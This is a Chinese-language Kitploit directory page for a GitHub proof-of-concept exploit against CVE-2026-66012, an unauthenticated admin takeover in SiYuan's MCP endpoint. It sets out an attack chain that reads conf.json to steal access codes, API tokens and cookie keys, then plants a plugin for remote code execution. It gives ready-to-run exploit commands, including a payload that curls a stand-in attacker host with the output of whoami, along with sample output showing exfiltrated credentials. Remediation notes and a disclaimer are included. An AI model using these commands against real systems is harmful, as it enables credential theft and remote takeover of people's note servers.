Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — 针对 CVE-2026-66012 的未认证管理员接管漏洞利用,通过 MCP 授权缺失窃取凭据并实现远程代码执行。 | Kitploit
工具/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
身份验证与授权权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

针对 CVE-2026-66012 的未认证管理员接管漏洞利用,通过 MCP 授权缺失窃取凭据并实现远程代码执行。

查看仓库
141个月前尚未审核

CVE-2026-66012 — SiYuan MCP 未授权管理员接管

CVE-2026-66012(CVSS 10.0 严重)的概念验证,这是 SiYuan 的 MCP(模型上下文协议)端点中存在的一个缺失授权漏洞,当发布服务器以匿名模式启用时,未经身份验证的攻击者可利用该漏洞实现管理员接管和远程代码执行。

漏洞摘要

字段值
CVECVE-2026-66012
CVSS 3.110.0 严重
CWECWE-862 — 缺失授权
受影响版本SiYuan < v3.7.2
修复版本v3.7.2 (commit df51c2bda696)
报告者Nguyen Van Hiep (@hypnguyen1209), MBBank

根本原因

以下三个缺陷组合形成了攻击链:

  1. POST /mcp 仅注册了 model.CheckAuth,没有 CheckAdminRole 或 CheckReadonly。任何有效的 JWT(包括 Reader 范围的)都可以调用全部 31 个 MCP 工具。
  2. 工具分发器(handler.go)在调用工具时不检查调用者的角色。
  3. 当 Publish.Auth.Enable=false 时,发布反向代理 会在每个请求中注入一个匿名的 RoleReader JWT,从而将缺失授权漏洞转变为未授权漏洞。

攻击链

  1. 通过发布端口上的 POST /mcp 进行 MCP 握手(无需凭据)
  2. 读取 conf/conf.json → 提取 accessAuthCode、api.token、cookieKey
  3. 在 data/plugins/pwn/ 植入插件 → 下次桌面启动时通过 nodeIntegration:true 实现 RCE
  4. 使用窃取的 accessAuthCode 在 6806 端口 管理员登录

前提条件

  • Python 3.8+
  • requests 库(pip install requests)
  • Docker 20.10+(仅用于实验环境搭建)

使用方法

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

实验环境搭建

仅供授权测试使用。 在本地搭建一个易受攻击的实例:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

预期输出

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

修复建议

升级到 SiYuan v3.7.2 或更高版本。修复(commit df51c2bda696)内容包括:

  1. 在 /mcp 路由上添加 CheckAdminRole + CheckReadonly 中间件
  2. 在文件工具中显式阻止对 conf/conf.json 的访问
  3. 发布代理路径白名单(管理路径对匿名用户返回 401)

参考链接

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • 修复提交 df51c2bd
  • VulnCheck 公告

免责声明

本 PoC 仅用于授权安全测试和教育目的。未经授权对您不拥有或未经明确许可测试的系统使用是违法的。作者不对任何滥用此代码的行为负责。

下载工具